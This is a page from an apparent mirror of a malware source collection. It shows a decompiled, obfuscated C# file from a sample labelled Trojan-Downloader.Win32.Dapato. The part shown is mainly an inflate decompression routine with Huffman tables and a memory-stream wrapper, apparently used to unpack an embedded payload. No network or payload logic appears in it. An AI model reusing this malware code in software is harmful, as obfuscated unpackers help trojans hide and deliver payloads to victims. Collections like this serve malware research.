mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-30 22:15:07 +00:00
f2ac1ece55
add
343 lines
7.2 KiB
C#
343 lines
7.2 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: CSPharm, Version=1.0.0.0, Culture=neutral, PublicKeyToken=91f7ba0f4234404d
|
||
// MVID: E3EED34E-DEA0-448A-9147-166831419ACC
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.Win32.Dapato.lnd-7f2f48002f973886553b938cc98149108eb2e39f2ac47324d3c731a4208c60fd.exe
|
||
|
||
using \u0003;
|
||
using System;
|
||
using System.IO;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0005
|
||
{
|
||
internal sealed class \u0003
|
||
{
|
||
internal sealed class \u0001
|
||
{
|
||
internal static readonly int[] \u0001 = new int[29]
|
||
{
|
||
3,
|
||
4,
|
||
5,
|
||
6,
|
||
7,
|
||
8,
|
||
9,
|
||
10,
|
||
11,
|
||
13,
|
||
15,
|
||
17,
|
||
19,
|
||
23,
|
||
27,
|
||
31,
|
||
35,
|
||
43,
|
||
51,
|
||
59,
|
||
67,
|
||
83,
|
||
99,
|
||
115,
|
||
131,
|
||
163,
|
||
195,
|
||
227,
|
||
258
|
||
};
|
||
internal static readonly int[] \u0002 = new int[29]
|
||
{
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
1,
|
||
1,
|
||
1,
|
||
1,
|
||
2,
|
||
2,
|
||
2,
|
||
2,
|
||
3,
|
||
3,
|
||
3,
|
||
3,
|
||
4,
|
||
4,
|
||
4,
|
||
4,
|
||
5,
|
||
5,
|
||
5,
|
||
5,
|
||
0
|
||
};
|
||
internal static readonly int[] \u0003 = new int[30]
|
||
{
|
||
1,
|
||
2,
|
||
3,
|
||
4,
|
||
5,
|
||
7,
|
||
9,
|
||
13,
|
||
17,
|
||
25,
|
||
33,
|
||
49,
|
||
65,
|
||
97,
|
||
129,
|
||
193,
|
||
257,
|
||
385,
|
||
513,
|
||
769,
|
||
1025,
|
||
1537,
|
||
2049,
|
||
3073,
|
||
4097,
|
||
6145,
|
||
8193,
|
||
12289,
|
||
16385,
|
||
24577
|
||
};
|
||
internal static readonly int[] \u0004 = new int[30]
|
||
{
|
||
0,
|
||
0,
|
||
0,
|
||
0,
|
||
1,
|
||
1,
|
||
2,
|
||
2,
|
||
3,
|
||
3,
|
||
4,
|
||
4,
|
||
5,
|
||
5,
|
||
6,
|
||
6,
|
||
7,
|
||
7,
|
||
8,
|
||
8,
|
||
9,
|
||
9,
|
||
10,
|
||
10,
|
||
11,
|
||
11,
|
||
12,
|
||
12,
|
||
13,
|
||
13
|
||
};
|
||
internal int \u0005;
|
||
internal int \u0006;
|
||
internal int \u0007;
|
||
internal int \u0008;
|
||
internal int \u000E;
|
||
internal bool \u000F;
|
||
internal \u0005.\u0003.\u0002 \u0010;
|
||
internal \u0005.\u0003.\u0003 \u0011;
|
||
internal \u0005.\u0003.\u0005 \u0012;
|
||
internal \u0005.\u0003.\u0004 \u0013;
|
||
internal \u0005.\u0003.\u0004 \u0014;
|
||
|
||
public \u0001([In] byte[] obj0)
|
||
{
|
||
this.\u0010 = new \u0005.\u0003.\u0002();
|
||
this.\u0011 = new \u0005.\u0003.\u0003();
|
||
this.\u0005 = 2;
|
||
\u0001.\u0001(obj0.Length, 0, obj0, this.\u0010);
|
||
}
|
||
}
|
||
|
||
internal sealed class \u0002
|
||
{
|
||
internal byte[] \u0001;
|
||
internal int \u0002 = 0;
|
||
internal int \u0003 = 0;
|
||
internal uint \u0004 = 0;
|
||
internal int \u0005 = 0;
|
||
}
|
||
|
||
internal sealed class \u0003
|
||
{
|
||
internal byte[] \u0001 = new byte[32768];
|
||
internal int \u0002 = 0;
|
||
internal int \u0003 = 0;
|
||
}
|
||
|
||
internal sealed class \u0004
|
||
{
|
||
internal short[] \u0001;
|
||
public static readonly \u0005.\u0003.\u0004 \u0002;
|
||
public static readonly \u0005.\u0003.\u0004 \u0003;
|
||
|
||
static \u0004()
|
||
{
|
||
byte[] numArray1 = new byte[288];
|
||
int num1 = 0;
|
||
while (num1 < 144)
|
||
numArray1[num1++] = (byte) 8;
|
||
while (num1 < 256)
|
||
numArray1[num1++] = (byte) 9;
|
||
while (num1 < 280)
|
||
numArray1[num1++] = (byte) 7;
|
||
while (num1 < 288)
|
||
numArray1[num1++] = (byte) 8;
|
||
\u0005.\u0003.\u0004.\u0002 = new \u0005.\u0003.\u0004(numArray1);
|
||
byte[] numArray2 = new byte[32];
|
||
int num2 = 0;
|
||
while (num2 < 32)
|
||
numArray2[num2++] = (byte) 5;
|
||
\u0005.\u0003.\u0004.\u0003 = new \u0005.\u0003.\u0004(numArray2);
|
||
}
|
||
|
||
public \u0004([In] byte[] obj0) => \u0001.\u0001(obj0, this);
|
||
}
|
||
|
||
internal sealed class \u0005
|
||
{
|
||
internal static readonly int[] \u0001 = new int[3]
|
||
{
|
||
3,
|
||
3,
|
||
11
|
||
};
|
||
internal static readonly int[] \u0002 = new int[3]
|
||
{
|
||
2,
|
||
3,
|
||
7
|
||
};
|
||
internal byte[] \u0003;
|
||
internal byte[] \u0004;
|
||
internal \u0005.\u0003.\u0004 \u0005;
|
||
internal int \u0006;
|
||
internal int \u0007;
|
||
internal int \u0008;
|
||
internal int \u000E;
|
||
internal int \u000F;
|
||
internal int \u0010;
|
||
internal byte \u0011;
|
||
internal int \u0012;
|
||
internal static readonly int[] \u0013;
|
||
|
||
static \u0005()
|
||
{
|
||
int[] numArray = new int[19];
|
||
// ISSUE: field reference
|
||
RuntimeFieldHandle fldHandle = __fieldref (\u0002.\u0002.\u0010);
|
||
if (true)
|
||
goto label_2;
|
||
label_1:
|
||
\u0005.\u0003.\u0005.\u0013 = numArray;
|
||
return;
|
||
label_2:
|
||
RuntimeHelpers.InitializeArray((Array) numArray, fldHandle);
|
||
goto label_1;
|
||
}
|
||
}
|
||
|
||
internal sealed class \u0006
|
||
{
|
||
private static readonly int[] \u0001 = new int[19]
|
||
{
|
||
16,
|
||
17,
|
||
18,
|
||
0,
|
||
8,
|
||
7,
|
||
9,
|
||
6,
|
||
10,
|
||
5,
|
||
11,
|
||
4,
|
||
12,
|
||
3,
|
||
13,
|
||
2,
|
||
14,
|
||
1,
|
||
15
|
||
};
|
||
internal static readonly byte[] \u0002 = new byte[16]
|
||
{
|
||
(byte) 0,
|
||
(byte) 8,
|
||
(byte) 4,
|
||
(byte) 12,
|
||
(byte) 2,
|
||
(byte) 10,
|
||
(byte) 6,
|
||
(byte) 14,
|
||
(byte) 1,
|
||
(byte) 9,
|
||
(byte) 5,
|
||
(byte) 13,
|
||
(byte) 3,
|
||
(byte) 11,
|
||
(byte) 7,
|
||
(byte) 15
|
||
};
|
||
private static readonly short[] \u0003 = new short[286];
|
||
private static readonly byte[] \u0004 = new byte[286];
|
||
private static readonly short[] \u0005;
|
||
private static readonly byte[] \u0006;
|
||
|
||
static \u0006()
|
||
{
|
||
if (true)
|
||
goto label_13;
|
||
label_2:
|
||
int index1;
|
||
for (; index1 < 144; \u0005.\u0003.\u0006.\u0004[index1++] = (byte) 8)
|
||
\u0005.\u0003.\u0006.\u0003[index1] = \u0001.\u0001(48 + index1 << 8);
|
||
for (; index1 < 256; \u0005.\u0003.\u0006.\u0004[index1++] = (byte) 9)
|
||
\u0005.\u0003.\u0006.\u0003[index1] = \u0001.\u0001(256 + index1 << 7);
|
||
for (; index1 < 280; \u0005.\u0003.\u0006.\u0004[index1++] = (byte) 7)
|
||
\u0005.\u0003.\u0006.\u0003[index1] = \u0001.\u0001(index1 - 256 << 9);
|
||
for (; index1 < 286; \u0005.\u0003.\u0006.\u0004[index1++] = (byte) 8)
|
||
\u0005.\u0003.\u0006.\u0003[index1] = \u0001.\u0001(index1 - 88 << 8);
|
||
\u0005.\u0003.\u0006.\u0005 = new short[30];
|
||
\u0005.\u0003.\u0006.\u0006 = new byte[30];
|
||
for (int index2 = 0; index2 < 30; ++index2)
|
||
{
|
||
\u0005.\u0003.\u0006.\u0005[index2] = \u0001.\u0001(index2 << 11);
|
||
\u0005.\u0003.\u0006.\u0006[index2] = (byte) 5;
|
||
}
|
||
return;
|
||
label_13:
|
||
index1 = 0;
|
||
goto label_2;
|
||
}
|
||
}
|
||
|
||
internal sealed class \u0007 : MemoryStream
|
||
{
|
||
public \u0007([In] byte[] obj0)
|
||
: base(obj0, false)
|
||
{
|
||
}
|
||
}
|
||
}
|
||
}
|